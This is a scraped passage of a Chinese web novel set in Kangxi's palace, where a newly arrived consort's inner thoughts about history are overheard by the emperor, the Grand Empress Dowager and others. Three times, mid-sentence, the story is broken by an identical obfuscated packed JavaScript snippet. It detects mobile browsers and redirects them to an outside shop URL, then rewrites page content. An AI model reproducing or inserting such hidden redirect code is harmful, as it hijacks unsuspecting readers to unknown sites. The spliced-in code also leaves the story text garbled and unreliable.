胤禔咽了咽唾沫,从桌上端起一杯水一口喝了个干净后才将刚刚发生的事情一一说了个干净。 7. 麻爹和麻宝 听到胤禔的话,惠妃眉头不由一皱,下意识就脱口而出:“太子还真……” 不过话未说完,她就噤了声,看着一脸看好戏的儿子,忍不住又戳了他额头一下,才拿起帕子尴尬地擦了擦眼角:“行了,不管如何那是太子,你可给我长点儿心吧!” 胤禔瘪了瘪嘴,一副想说不敢说的模样,让惠妃又忍不住拉着他开始训话,这一开口一直到胤禔眼睛都发直了才结束。 胤禔看着自家额娘一副意犹未尽的模样,原本打算在延禧宫吃点东西的心也没了,直接一行礼:“额娘,儿子还有事先走了!” 惠妃还没反应过来,就见胤禔如同一阵旋风,忽地消失在眼前,等她反应过来时,延禧宫的大门口只留下他衣服的一角。 “这孩子……”她没忍住嗔怪道,随后又轻笑两声,才对宫人说道,“刚刚那些宫人好好肃肃规矩,阿哥们再如何是亲兄弟,可容不得他们出去胡吣去。” “奴婢交代过了。”说话的是惠妃的左膀右臂明月。 惠妃摆了摆手让人退下后才忍不住揉了揉眉心:“太子,皇上,到底发生什么了,怎么最近都有些……连慈宁宫的也……” 她这边百思不得其解,承乾宫的皇贵妃却一脸了然:“看来四个人确定就是这几位了,过两日该找个机会让胤禛见见那位的。” 与后宫的妃嫔们或不解或艳羡不同,身为太子的胤礽此时并没有关注康熙和齐佳氏的举动,毕竟对于现在的他而言一切交给皇父是再正常不过,他也相信皇父不会瞒着自己什么。 带着些许羡慕地看着胤禔去了延禧宫,胤礽心下不免有些失落。 汗阿玛对他很好,这是几乎每个宫人、嫔妃、大臣们心知肚明的,不仅如此更是数次为他仗毙宫人,如今他不过八岁,可身边的人都不知换了多少。 “太子殿下?可是要回毓庆宫?”胤礽的贴身太监高三变眼瞅着这位主子脸色不是很好,壮着胆子上前小声提醒。 “狗奴才!要你多嘴!”不曾想刚刚还文静的胤礽突然脸色一变,一脚踹到高三变的膝盖上,只把他踹得跪倒在地上不敢起来。 不曾想似乎觉得踹一脚还不解气,亦或是被刚刚胤禔的举动刺激到,他竟从腰间抽出一条细鞭子,顺势抽在了高三变的身上。 其余宫人此时皆是两股战战跪在地上不敢言语。 来回抽了七八下,总算觉得出了口气的胤礽冷哼一声将鞭子扔在高三变身上:“赏你了。” 说罢转身离开。 其余宫人见状,赶忙安静跟上,连高三变都只能强撑着身体跟在众人身后小心往前。 箭亭发生的事情不过一炷香的时间就传到了慈宁宫。 而慈宁宫里孝庄正握着齐满月的手,一边听着她心里对自己的吹捧,一边看着漂亮的小脸上一双杏眸满是激动和崇拜,别说有多满足了。 “好孩子,你玛法穆哈连太宗时就跟着先帝打天下,叶赫一族归诚他可谓头功,你阿玛布色赫更是咱们大清实打实的巴图鲁,山海关、太原哪个没打过。八大姓里就属你们齐佳人少、本分,这么多年也没个姑娘入宫,这难得有个姑娘进来,也多来陪陪老婆子。” “奴婢在家时常听阿玛自愧,说齐佳一族人丁不旺,人才也不多,竟无力为国效力,实在丢了老祖宗的脸。” “你阿玛那个人本是军旅出身,最是实在不过的,可不能如此自贬。”孝庄话音刚落抬头看了康熙一眼。 康熙瞬间明白了她的意思,轻轻点了下头:“布色赫本就是个将才,儿子正说要起用呢。” “别啊!!”他们本以为齐满月听到这话会在心里感谢他们,不曾想齐满月突然在心里惊呼一声,“饶了我那可怜的老父亲吧!!他都快七十了!!!” 康熙看着面前少女姣好容颜上还依稀可见的稚嫩,有些尴尬地摸了摸鼻子,他看着这张脸还真忘记了布色赫是入关时功臣,而齐佳妞妞是他的老来得女。 “不过说起来布色赫年纪也不小了,不若给他再加封一些吧。”不等孝庄开口,康熙赶忙说道。 齐满月听后不由松了口气,才继续将注意放在孝庄身上:“啊啊啊,我该怎么告诉我的偶像沙俄狼子野心?都怪康熙!崽卖爷田不心疼!偏心那个洋鬼子,百年屈辱都是从他开始,后人不承认满清也都是他的锅!哼!” 自齐满月进慈宁宫到现在,她的心声全是对孝庄的崇拜,丝毫没有提起这些事,也让孝庄诧异康熙跟来的举动,不过此时她算明白了。 看着康熙脸色实在称不上好看,孝庄难掩眉眼间的笑意:“咳,我见你满脸踌躇,可是有什么话想跟老身说?” 齐满月惊讶地抬头看了她一眼,才张了张嘴,犹豫该怎么开口才能让面前的人认为自己知道这些事合情合理,甚至不算是摄政。 就在这时,箭亭内发生的事情传进了慈宁宫。 听着太子暴虐的事情,孝庄忍不住揉了揉额角,无奈看着康熙:“我知你因赫舍里而心疼这个孩子,只是养孩子不该如此养,太子实在骄纵!” “太子是好孩子,都是那些奴才未曾劝慰主子。”康熙不等孝庄反应,直接开口吩咐梁九功:“那高三变我当日只当他是个好的,不曾想也是个不知事的,既然如此就把他送回敬事房,其余的该打的打,该罚的罚。顺便你去朕私库里,将前日太子惦记的端砚送去,只说他今日受惊了,回头朕去看他。” 梁九功丝毫不意外地领命躬身离开。 孝庄张了张嘴,却无力再说什么。 她并非第一次劝说康熙对太子要记得约束而非放纵,可早些年后宫孩子始终立不住,好不容易立住了两个,一个还是丧母的,也难怪康熙多疼宠几分。 这幅场景落到一旁的齐满月眼中却满是槽点:“妈耶~!康熙早些年真是宠孩子,这可真是史书都认可的宠溺啊,堪比历史第一好爸爸了~” 康熙听到齐满月难得对他的夸赞,忍不住挑了下眉。 见他面露得意,孝庄却总觉得哪里不对,她的直觉告诉她齐佳氏的语气很奇怪,夸赞没听出几分,嘲讽倒是不少,只是看着康熙难得如此高兴,也只觉得自己是不是感觉错了,谁曾想下一秒齐满月的心声就证实了她的想法。 “麻爹和麻宝嘛~就是不知道是真爱还是假的了~” 康熙欣喜的表情停在脸上不过一瞬就僵在原地,他猛地侧脸,一脸不可置信地看向齐满月,一副朕都这么宠孩子了你在说什么的模样。 “让我想想史书怎么记载来着~?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543748|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间慈宁宫里两位大佬都安静下来,连端起的茶盏都顿在半空中…… “啊!想起来了!一岁封太子,亲自带大,四岁出痘守了十四天,五岁专修毓庆宫,太子仪仗、冠服、东宫花销几乎与皇帝同等,甚至有时更高,三大节更是让群臣对太子行二拜六叩,出行必带,留守也天天写信,塞外得到好的第一个就给太子,想他时就拿太子的旧衣服。” “啧啧,简直是麻爹掌中宝,衬得别的崽都是麻爹手中草了,难怪后面大家对拉太子下台积极得不得了,果然孩子不和都是老人无德!” “不过说起来……出痘……不就是天花吗?那玩意应该是用牛痘预防!我不记得我自己都记得这个,简直每本小说必写啊……” 康熙和孝庄还等着齐满月有什么惊人的话说出来,却没想到对方直接扔了一个炸弹。 “你说什么!”康熙更是没沉住气直接站起身看向齐满月。 “奴……奴婢什么都没说啊……”齐满月被他吓了一跳,赶忙跪在地上不敢动弹。 孝庄忍不住看了她一眼,才轻声说道:“皇上是刚刚想事情入神了,莫怕,不是冲你的。” “咳,是朕没注意吓到你了,来人,齐佳贵人侍奉太皇太后有功,赏锦缎十匹,头面两套。”交代完歉礼康熙重新坐回到位置上。 齐满月本来还在心里骂康熙,此时听到有奖励也只能暗自腹诽:“算了,吓一跳收到那么多礼物就原谅他吧,不然我还能怎么办~” “不过说起来,康熙脾气是真不好啊,都说太子骄纵暴戾,我看都是随爹。” “哎?我刚刚想到哪里来着……?” “啊,麻爹和麻宝!” 康熙实在不想听到“麻爹”这样的名字,他不傻反而还很聪明,自然明白这名字指的是自己因天花留下的疤痕,只是他不想再打断面前人的心声了,只能不住地摩挲手中扳指,压下心中怒火。 “说是康熙疼宠太子,可是好奇怪,毓庆宫不光地方小,里面还弄得跟迷宫一样,太子年纪小就算了,年纪大了妻妾一群根本住不开,为什么康熙不愿意给他扩建?” “而且……毓庆宫旁边就是中正殿喇嘛天天烧香念经,在毓庆宫听得一清二楚,说康熙不知道是假,只能说是不上心吧……可怜的小太子~你麻爹不爱你哟~” 孝庄愣了下,下意识看了康熙一眼,却又赶忙收了回来,眉头微蹙有些不解,据她观察皇帝对太子那真是一副慈父心肠并非作假,而齐佳氏心中所说又不可能是假的。 想到这里她灵光一现,瞬间明白了康熙的深意,不由抬头看了对方一眼,在看到对方从震怒到情绪平静下来的过程,心下不由感慨一句:“天生的帝王啊……” 她想明白了康熙的做法,可毓庆宫的胤礽没想明白。 他坐在书桌前,手中的书怎么都无法看进去,周边喇嘛念经的声音伴随着沉香气味不住侵蚀他的意识。 之前因为和汗阿玛交心而松下来的那根线,不知不觉地悄然绷紧,系统的声音再次在他脑海中闪过。 “补选三号读者胤礽(太子),选中理由:原定下一代帝王,因历史线变更,继位可能性增加。” “汗阿玛,您到底真的愿意让儿子继位吗……” 8. 第一天度过 此时的慈宁宫对孝庄和康熙而言实在称不上安静,毕竟齐满月的心声就没停过,尤其是大清和康熙的吐槽。 简直可以说衣食住行无一满意,这也让康熙的脸色越发难看,摩挲扳指的手指都快磨出火星子了。 可在齐满月的角度来看,慈宁宫突然安静得有些可怕,她咽了咽唾沫,小心地抬起头看着还握着自己手的孝庄。 “咋了这是?怎么这么安静?” 她这心声一出,孝庄和康熙二人瞬间反应过来。 孝庄看了眼康熙后,轻笑着:“你这幅好容貌虽说穿得简单些更显得清丽,可到底还年轻该仔细打扮一些,那些红的绿的金的玉的,还是你们小姑娘穿的好看。” 说着她扭头看向旁边的苏麻喇姑:“你去我的私库里,将我那套玉头面找出来,再把去年进上的两匹苏锦找出来,就那个颜色鲜亮娇嫩的,让齐佳氏带回去,好生做几身新衣裳。” 齐满月赶忙下跪行礼谢恩,心里更是不住欢呼:“不愧是我的偶像之一!就是大方!!狗皇帝看到没!!!” 康熙本就被她气得够呛,此时听到面前的女人还在不住骂自己狗皇帝,刚刚想顺着太皇太后给她赏赐的心瞬间就歇了。 太皇太后将他的神色看在眼中,眼眸中不免带上一丝笑意。 自打皇帝十四岁亲政,每日都以圣人的行为来约束自己,连后宫不肯多去几次,尤其是这些年更是喜怒不动声色。 算起来,她竟然已经有近四五年没见过皇帝如此沉不住气了,上一次还是太子发痘。 康熙丝毫没察觉到自己的失态,他深吸了几口气,扯了扯嘴角:“额涅玛玛,侍奉您是齐佳氏的本分,倒也不必如此恩赐。” “狗皇帝!!!!我……不行!好孩子不能说脏话!!!”果真如他所想,齐满月直接气炸了。 康熙斜睨着齐满月再也无法平淡乖顺的表情,眼中闪过满意。 孝庄有些嫌弃他难得的幼稚,忍不住开口说道:“我和齐佳贵人一见如故,赏她东西我乐意,你还有异议不成?” 康熙听后尴尬地捏了捏鼻子:“孙儿不敢,额涅玛玛的东西自然由您自己做主。” “哎嘿嘿~狗皇帝活该!哼~”齐满月眉目一挑,脸上也带出几分掩饰不住的得意。 “我本来想让皇帝派你阿玛去一趟盛京,既然你阿玛如今已有春秋便罢了。”孝庄眼眸中带上几分惆怅。 “是想女儿了吗?”齐满月在心中暗自叹了口气,“从入关以来,再也没有回去故乡,三个女儿又都嫁回蒙古……如今也只剩下固伦淑慧长公主,也不知道还能再见几次……” 康熙眼瞅着孝庄因齐满月的心声而面露伤心,赶忙就要开口岔开话题打断对方的心声,却不承想齐满月下一刻就扔了一个巨雷。 “淑慧长公主好像是1700年去世,换算过来……康熙三十九年!” “我记得史书上记载,淑慧长公主晚年几乎都是在北京度过的,也不知道什么时候皇帝会将她接来,也好陪陪孝庄,毕竟……” 齐满月想到这里,小心抬头看了眼状似发呆的孝庄一眼,才在心中叹道:“康熙二十六年太皇太后孝庄结束了传奇的一生……” “啪!”康熙手中的茶盏骤然落地,发出清脆的碎裂声。 就连孝庄都忍不住呆愣原地,手中的奶茶碗也没拿住直接洒在地毯上。 康熙倒也没在意,毕竟谁听到自己的死期都不免会心神恍惚一瞬,就连他不也震惊到无法言喻。 康熙猛地抬头看向祖母,却发现对方神情已经恢复如初,这也让他不免叹服祖母的毅力。 “啊……狗皇帝,算了不提他了,反正活得挺久。” 康熙愣了下,赶忙做好听一下自己死期的准备,就听到对方心里来了这么一句,一时间竟不知道是生气好,还是开心好。 “行了,天色也不早了,齐佳贵人回永寿宫吧,皇帝也去忙自己的好了。”孝庄表面上看似平静,可内心不免带着难以言喻的无力感,想要探究齐满月心声的心思也消散了。 康熙自然明白孝庄的意思,也便没说什么,直接起身告别。 齐满月跪送走了康熙,才对孝庄叩首离开。 为什么突然让她们离开这件事情她虽然想不明白,却也不敢多说什么,毕竟她现在只是一个小小贵人而已。 回到了永寿宫,齐满月第一件事就是脱下花盆底,然后让云秀帮自己散开小两把头。 “小主,如今还是白日,如此不修边幅可是要犯宫规的。”云秀环顾一圈后,再次说道,“便是夜晚,若非您在内寝,也是不能披头散发的。” 齐满月倒吸一口凉气,伸手摸了摸如今还称得上茂密的头发:“我可不想成秃子……” “小主说笑呢,怎么会成为秃子呢?”如今虽是齐满月入宫第一日,可云秀却不止一次听她吐出这等孩子般的话。 她倒也没多想,只当是齐满月初入宫,有些规矩没记住。这也是为何许多小主入宫后,分到的大宫女都是内务府里有些年岁的,方便为小主们好好讲讲宫里的规矩。 “是啊……秃不至于。”齐满月摸着头发叹了口气,忍不住轻声反驳,“可是发际线后移更丑啊。” “小主?”云秀没听清她说的话。 “没什么,皇上和太皇太后的赏赐都收好了吗?”齐满月摆了摆手,直接岔开话题。 “收好了,有两匹颜色不适合做常服便送到了内务府,其余奴婢回头和云月等人给您做两身常服出来。”云秀说着用簪子将齐满月的头发挑松了一些。 “我记得之前你说过,只有皇上特许内务府才会给出彩色蜡烛?”齐满月揉着松快许多的太阳穴,想到了蜡烛的事情。 “是啊,所以小主您还是别惦记了。”云秀见她还在揉着太阳穴,无奈叹了口气,拿起簪子继续帮她挑头发。 “如果我用蜡烛做些花儿啊草儿啊,没关系吧?” “蜡烛做花草?那岂不是白色的,可不行,不大吉利。”云秀手下动作一顿,吓得直接走到她面前正色说道。 “那若是我自己染一点蜡油呢?不是蜡烛,只是可以熔化的蜡油。”齐满月问道。 云秀蹙眉想了想: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543749|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宫里未曾有人做过,奴婢也不知道,不过您可以向皇贵妃娘娘禀告一声,若是娘娘同意,也不算违背宫规。” “皇贵妃娘娘啊……”齐满月指尖摩挲了下,心中念头越盛,只是看着此时的天色,便也不想初入宫就惹出事端来。 这一日宫里消息传得五花八门,可谓是难得如此热闹,倒是让不少嫔妃因白日关注太多,而困乏到早睡。 此时的承乾宫,皇贵妃看着睡熟的胤禛,犹豫了一瞬后才对宫人交代道:“明日就按本宫交代的行事,阿哥若是害怕或是想说什么,你只哄着他回头告诉本宫即可。” “是,娘娘。”秋月恭敬应下。 这边的皇贵妃想要试探出齐佳氏到底如何和皇帝他们交流的,也想试探出拯救员和执行者到底会不会涉及到胤禛的健康。 虽然知道没可能,但依旧想要将齐佳的一切变化掌握在自己手中,以免伤害到胤禛。 而毓庆宫里的太子也对齐佳氏更加好奇,那本来被康熙压下去的对未来的恐慌,在听到康熙陪着齐佳氏去了慈宁宫后达到了顶峰。 “齐佳氏……” “我家的妞妞啊……”如果说宫里的人对齐佳氏视作对手,拉拢对象,试探对象,那齐佳府里的老两口则是谁都睡不着的担忧。 “咱家妞妞性子单纯,又乖得很,你说那些妃嫔会不会欺负她?”布色赫想着女儿孤苦伶仃在后宫受欺负的场景,就忍不住心痛。 “又能怎么办?你就这么个位置,齐佳一族又是这么个情况,我娘家又是那样不中用的,竟无人能够帮衬一二。”布色赫夫人那拉氏忍不住拿起帕子擦了擦眼角。 “都怪那些没用的东西,但凡他们上进一些,多送几个齐佳一族的女子入宫,咱们妞妞也不算孤立无援。”布色赫嘬了嘬牙花子,恨铁不成钢道。 那拉氏忍不住白了他一眼:“这话你最好别让妞妞知道,不然她又要训你了,如何能为了她牺牲其他族人。” 布色赫赶忙伸手拍了拍嘴:“是我的错,都是我的错。” 说到这,他再一次忍不住捂住了胸口:“可怜我的妞妞,阿玛写的贺女撂牌子诗是不能见世了。” “你和阿玛当年要是多立立功,如今官位高一些也是个盼头,如今哎……” 布色赫听着妻子的话,犹豫了很久后才踌躇开口:“你说……我现在还能立功吗?” 那拉氏忍不住白了他一眼,直接拉着被子将头蒙住:“歇着吧你。” 见妻子这样,布色赫摸了摸鼻子,忍不住叹了口气:“我也想学人家汉人的祖宗老骥伏枥志在千里嘛。” “睡不睡?!”那拉氏实在忍不住了,掀开被子瞪了他一眼。 见老妻真的生气了,布色赫也不再说什么,只能乖乖闭上嘴拉上被子。 齐满月自然不知道自己阿玛为了她竟然打算七十岁高龄奋斗了,她只躺在床上无声叹气。 入宫第一天发生那么一堆乱七八糟的事情,可算把她累得够呛,身体不累,心累。 “也不知道之后的日子会不会好些,每天这样,真没法过啊……” 9. 找个事儿做 不知道是头一天进宫后发生的事情太多,这天晚上齐满月昏昏沉沉一夜没休息安稳,到了次日被云秀唤醒请安时差点儿没起来。 “小主,可要奴婢去承乾宫告个罪。”云秀伸手试探了下齐满月的额头,发现她并没有发烧后才松了口气。 齐满月打了个哈欠,连连摇头:“算了,才进宫没两天,昨天又闹出那么多事,我还是别太出挑了。” 云秀见状只能无奈应下,又给她重新整理了妆容,遮掩了齐满月满脸的疲惫。 “胤禛,今天可发现了什么?”请安的过程如同往日没有丝毫波澜,不过后宫嫔妃们对齐满月的关注比以往多了些。 不过不知道是不是大家都没休息好的缘故,所以今日嫔妃们并没有开口多说什么,不少高位嫔妃眼中是难掩的困倦和疲惫。 皇贵妃没在意这些,手中握着十八子的指尖早已抓得有些泛白,她既担心胤禛太小说漏了嘴被宫人传出去一二,倒是引得皇上注意怕是并非好事,又担心齐佳氏真有什么奇异能力察觉到了胤禛,伤害了胤禛。 只是看到齐佳氏一副乖顺模样,又想到皇上和太皇太后对她尚且算照顾,也只能按下满心着急,只当自己想太多。 给太皇太后和太后请了安,一行人回到承乾宫后皆是满脸疲倦,皇贵妃也早已按捺不住对儿子的担忧,便直接对众人说道:“也没什么事,各位回自己宫里吧。” 一群嫔妃无不是满脸难掩的喜意,齐齐起身跪安。 等最后一道身影消失在宫门口后,皇贵妃直接快步转身进了后厅。 “额娘的胤禛!”她一把抱起胤禛,随后摆了摆手让宫人退下。 “胤禛,刚刚可有发生什么?”皇贵妃抱着胤禛坐在软榻上,轻声哄着。 胤禛呆愣地摸了摸小狗福子,才摇了摇头。 皇贵妃脸上顿时闪过遗憾,却又转瞬松了口气,至少这证明那齐佳氏并非有什么奇特能力。 “额娘,胤禛好困……”才4岁的胤禛打了个哈欠,直接歪倒在皇贵妃怀里。 皇贵妃吓了一跳,胤禛可是一向精力不错的,头一次见他大早上喊困,想到这里她眉眼一厉,忍不住轻声哄道:“乖胤禛,告诉额娘可是有人给你吃了什么东西或是喝了什么?” 胤禛强撑着撕开眼皮,摇了摇头:“刚刚一直有人说好困好困,胤禛现在也好困好困了。” 这下皇贵妃听明白了,直接轻手捂住胤禛的耳朵,直接开口喊了一声:“秋月!” 秋月赶忙推门进来:“娘娘。” “刚刚是你在阿哥身边,可听到哪个不长眼的一直在阿哥耳边念叨着好困?” 秋月听到她的话一愣,连忙摇头:“一直是奴婢在旁边抱着阿哥,不曾做过什么。” 皇贵妃眼中闪过一丝冰冷,她细细打量了一下秋月,到底选择相信了这位从家里带来的侍女。 “下去吧。” 秋月被莫名叫进来问了一遍话,又被赶出去,心里满是奇怪却不敢开口问,只能低声应下离开。 等人离开后,皇贵妃才继续抱着胤禛说道:“乖胤禛,且等一会儿睡,告诉额娘那声音你可熟悉?是哪位宫人?抑或是……” “……男的还是女的?”不知为何,皇贵妃心中起了一个念头,她感觉到自己所猜的极有可能才是真相。 胤禛这会儿精神了些许,揉着眼睛开口说道:“是个女子,儿子没听过。” “那除了好困还说了什么?”皇贵妃继续问道。 “还说……还说……”胤禛皱着眉想了很久才开口说道,“还说宫里规矩好烦,早知道宁愿……宁愿当个老姑娘!” 胤禛落下最后一句,不忘重重点了下头,就像是肯定自己一样。 皇贵妃脸色忽地一变,她没想到不过是自己一个念头,竟然成了真的。 “心……声?!”她轻轻咬着唇,蹙眉犹豫了好久。 “额娘,眉头皱皱的不好看。”胤禛不懂为什么皇贵妃会是这幅模样,只想到了过去皇贵妃念叨过天天皱眉都老了不好看了,赶忙举起小手为她揉了揉眉心。 皇贵妃眉眼温柔一瞬,又搂了搂胤禛,才松开手让秋月将胤禛送回寝室休息。 “心声啊……难怪。”回想选秀上皇上和太皇太后的异样,再想到昨日传遍后宫的消息,皇贵妃不禁了然,“原来如此,看来以后对齐佳氏要更好些……” “毕竟,万一被皇上和太皇太后听到一些,对胤禛和佟佳一族可不算好事……” 知道了齐佳氏这位拯救员和执行者是怎么交流的,皇贵妃也算是松了口气,正好宫人进来回话,她也便将心神都放在了宫务上。 东宫里胤礽却在发愁该如何见上齐佳氏一面。 着人细细打听了才知道,这齐佳贵人不爱去园子,也不爱串门子,就喜欢待在永寿宫里不出门。 不过这才进宫两日,倒也看不出许多,胤礽虽然有些急切,倒也没急切到何种地步,只能吩咐人注意着永寿宫齐佳贵人的消息。 与这两位的试探不同,太皇太后给康熙递过消息后,康熙直接招来大臣开始安排东北的事情。 虽然齐满月只寥寥透露了几句,却足以让他重视这件他之前不曾注意的事情。 而且齐满月所说的信任异族的话也让他心中起了怀疑。 能够被齐满月称之为异族的他相信一定不会是汉人,而且不论齐满月之前是谁,现在都是满族齐佳氏,想来也不会叫自己母族为异族,那么就只有那些外邦人了。 想到这里康熙心中也有了人选。 他的朝堂之上外邦人的身影从未少过,早期的汤若望、利类思、安文思,现在的南怀仁、徐日升、闵明我,而真正现在还在朝堂上且受他信任的也只有南怀仁了。 “南怀仁……”康熙往后一靠,叹了口气,“果然是非我族类,其心必异啊……” “只是……对汉人而言,我们满人不也是非我族类嘛?”这个念头在他脑海中转了又转,却终将被齐满月那句,百年屈辱的罪魁祸首所打消。 “看来还是要找机会试探下齐佳氏,看看有没有更详细的信息。”康熙的扳指被摩挲了一圈又一圈,才压下齐佳氏那一句句骂自己的话所引起的烦躁。 就像是太皇太后所言,为了大清没有什么是不可以忍的。 永寿宫的齐满月丝毫不知道自己被众人盯上,好不容易补觉起来,她坐在廊下对手边的书和刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543750|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣完全不感兴趣,满脑子都在想该怎么搞一点颜料过来。 “小主,想什么呢?小主若是真的无聊,要不奴婢陪您去御花园看看花儿?”云月缝好一件里衣,抬起头就看到齐满月手里捏根草,正一脸无趣的模样,忍不住说道。 齐满月摇着头:“算了,不想动弹。” 忽然她的余光就瞥见云月旁边的笸箩里一堆碎布头,心中顿时起了一念。 “云月,这些布头你们有用吗?” 云月见她指向笸箩,赶忙笑着说道:“那些大块的以后留着补衣服、或者给衣服做滚边、小口袋,甚至可以做些帕子、扇套、荷包这些。” “啊……”齐满月一呆,瞬间想起额娘那拉氏也曾用这些大块布头给她做些小物件,还让她学着练习女红用,却没想到宫里也是如此俭省,“不愧是康熙啊……” “这些中等的,一般是奴婢们拿来做鞋底衬里或是做袜底、小垫这些。”说到这里云月的声音压低了许多,“这些是宫里人尽皆知但不能明说的。” 见齐满月神情未变,云月不禁暗自松了口气,才继续说道:“剩下的那些就是做些填衬或是擦针、擦剪刀的。” 云月轻笑着:“若不是这些料子是上赏的,又有梁公公亲自交代过,怕是那些大块料子都要交回内务府的,如今咱们有福气能够留下,倒是能够给小主做几个好料子的帕子和荷包。” 看云月将碎布一个个分类好,齐满月犹豫了一瞬才指着那些零碎的小布料说道:“那就先给我一打小碎布吧。” 云月不明白她为何要这些,但也没多想,点头应下从笸箩里捏起一打塞到齐满月手中。 齐满月看着手中的碎布,这里最大的也不过铜钱大小,那些巴掌大的皆是中等的,是云月等人留用的,她暂时还不好意思抢人家的小福利自己当玩具。 想了想,齐满月才开口:“云月,你能不能找人帮我做一个白色的板子?” 说罢她赶忙又说道:“不是白色也行,随便什么颜色吧。” 云月一愣,才缓缓摇了摇头:“那可不大好找,小主要那些作甚?” “嗯……我想用这些碎布头做一副布贴画。”齐满月举着手中的碎布头说道。 云月张了张嘴,想说恐怕会逾制,可又想到这些碎布头本来就已经是无用之物,又觉得没什么,一时间竟不知道该怎么说。 正在这时云秀进来,听到云月为难后才说道:“小主可让小太监去内务府要些粗布、衬布、硬纸板、裱画底布、浆糊,不过这些碎布头……还是要小心些。” 云月看着手中华美至极的碎布头,无奈点了点头:“我知道了,我尽量少用或不用。” 见她听进去,云秀莞尔一笑,只要她盯紧了自家小主,别做得太明显,以皇上对小主的态度,想必也不会如何。 想着云秀就赶紧吩咐小太监去内务府跑一趟。 齐满月想到自己总算找到了个玩意儿,一下子也精神了许多,拉着云秀就开始搬桌子搬凳子,打算直接在光最好的地方做。 云秀本就比齐满月大了近十岁,看她如同自己幼妹一样,也便随着她玩闹了,反正只要不违背宫规,上位者们也不会为难一个小贵人。 10. 再次伴驾 “沙俄狼子野心,纵使如今国库不足,也该对其警惕。”召集了大臣,连夜商讨针对沙俄的防备事情,让康熙这样精力十足的人都有些控制不住打了个哈欠。 更不用说那些大臣们,索额图和明珠虽然已经年近五十,但也算得上老当益壮,虽然觉得有些疲惫但也没表现出来。 其他大臣们并不比他们大上几岁,体力却不如他们,现在谁也不敢对皇上说一句自己累到了。 康熙揉了揉眉心,才对一夜的商讨下了决断:“行了,兵部通知富察?萨布素、瓜尔佳?巴海,东北军防交给他们了,告诉他们一定死守东北,不准那些沙俄人进来一个,但凡被朕发现他们玩忽职守……” 最后如何康熙并没言明,但那口吻里的杀意却听得众位大臣精神一振。 “退下吧。”康熙挥了挥手直接让人离开。 几位大臣恭敬退下,一出殿门才发现竟然已经到了御门听政的时间,彼此相视看了一眼,再无一丝力气寒暄,默契地向着自己该去的地方走去,连明珠和索额图亦是如此。 康熙翻开折子看了一页后,抬起头看向梁九功:“什么时辰了?” “皇上,该早朝了。” 揉着眉心,康熙灌下一杯浓茶,才起身让宫女们帮自己整理。 走在上朝的路上,他看着还未大亮的天:“今日是齐佳氏进宫第几日?” “回皇上,第三日了。”梁九功对这个齐佳贵人可谓是印象深刻,更是被康熙和太皇太后都交代过要盯紧永寿宫,自然对那边的消息了若指掌。 “第三日……”康熙轻喃道,距离他从对方心声中得到沙俄消息已经过去了两日。 “今日召齐佳氏奉驾。”他犹豫了一瞬,对未来的窥伺欲望到底战胜了维护自己名声的重要性。 梁九功并不意外,他看得出来康熙即便对齐佳贵人莫名发怒过,却本能的在意着对方。 不过对他而言倒也能理解,毕竟齐佳贵人长得实在可以称得上艳冠群芳。 这边的康熙下了令,很快就传到了永寿宫。 前一日齐满月才让人从内务府拿了材料,昨天更是做了一下午的布贴画,虽然还没有全部完工,却也能看出一些大致来。 她本来计划着今天把布贴画做完,谁曾想刚请安回来就听到云秀满脸喜意迎上来:“小主,皇上召您奉驾。” 齐满月想到第一天奉驾的事情,忍不住在心里翻了个白眼,面上她依旧做出一副惊喜的模样拉着云秀的手说道:“那太好了。” “不过云秀,你今天身体不适,要不让云月随我去吧。”看着云秀脸色还略有发白,她不免有些担忧。 云秀心中略盘算了一番,觉得云月也称得上机灵,便点头应下。 如今永寿宫里四位宫女分别是云秀、云月、云朵、云兰,其中以云秀为首。 至于太监,以齐满月现在的贵人身份是没有专属太监伺候的,如今她使唤的是永寿宫的太监。 按理说她并无资格使唤,不过谁让永寿宫如今就她一个主子,且看起来还算得宠,便能够在传膳跑腿上让太监们帮忙跑一下。 重新整了下衣服,换上皇帝赏赐的布匹做的新旗袍,又在康熙赏赐的头面里挑了一个不算出挑的簪子,打扮一新后才在云月的搀扶下往懋勤殿走去。 “啊……好烦啊,为什么让我是妃嫔,我要是公主多好!当然最好是阿哥,不过说起来康熙的女儿儿子没几个有好下场的,有的现在都没生出来呢。” 康熙刚刚从大朝上下来,就听到暖阁里传来的心声。 忍不住揉着眉心叹了口气,才招手吩咐道:“让齐佳贵人过来吧。” 小太监赶忙去叫人,这边康熙已经坐到了炕桌上闭目养神了。 齐满月小心进来,乖巧跪安,又被康熙赐座后,才从心里蹦出新的心声。 